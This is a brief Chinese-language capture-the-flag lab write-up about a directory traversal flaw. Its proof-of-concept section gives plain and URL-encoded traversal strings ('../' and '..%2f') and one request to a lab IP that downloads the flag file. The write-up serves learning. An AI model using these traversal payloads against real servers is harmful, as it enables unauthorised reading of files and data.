1.阅读靶场介绍
这里博主捕获到的关键字眼是
目录遍历漏洞
2.启动靶场
如下图所示
3.poc
这里就是构造目录遍历路径
../../../../../../../或者..%2f..%2f..%2f..%2f..%2f
这里博主构造完下面的路径弹出一个文件下载
http://39.106.48.123:39628/..%2f..%2f..%2f..%2f..%2fflag
各位可以参考参考
相关推荐
AI帮小忙1 天前
主机安全排查AI人工智能+电脑小能手1 天前
【大白话说Java面试题 第102题】【并发篇】第2题：volatile 能否保证线程安全？laoli_coding1 天前
数据机密性保护算法汇总(国际算法)Lyyaoo.1 天前
【数据结构】HashMap底层存储+扩容机制+线程安全【待更新】国冶机电安装1 天前
分包工程施工方案terry6001 天前
从流畅交互到高可用：企讯通Qcaptcha滑动拼图的毫秒级响应与容灾设计X7x51 天前
零信任架构：重塑数字时代安全边界的战略转型无忧智库1 天前
某矿山井下人员精准定位与AI行为安全识别管控系统建设方案（WORD）xiaofj1001 天前
reglock工作机制元宝骑士1 天前
SpringBoot + Sa-Token 实现 CSRF 令牌校验（进阶篇）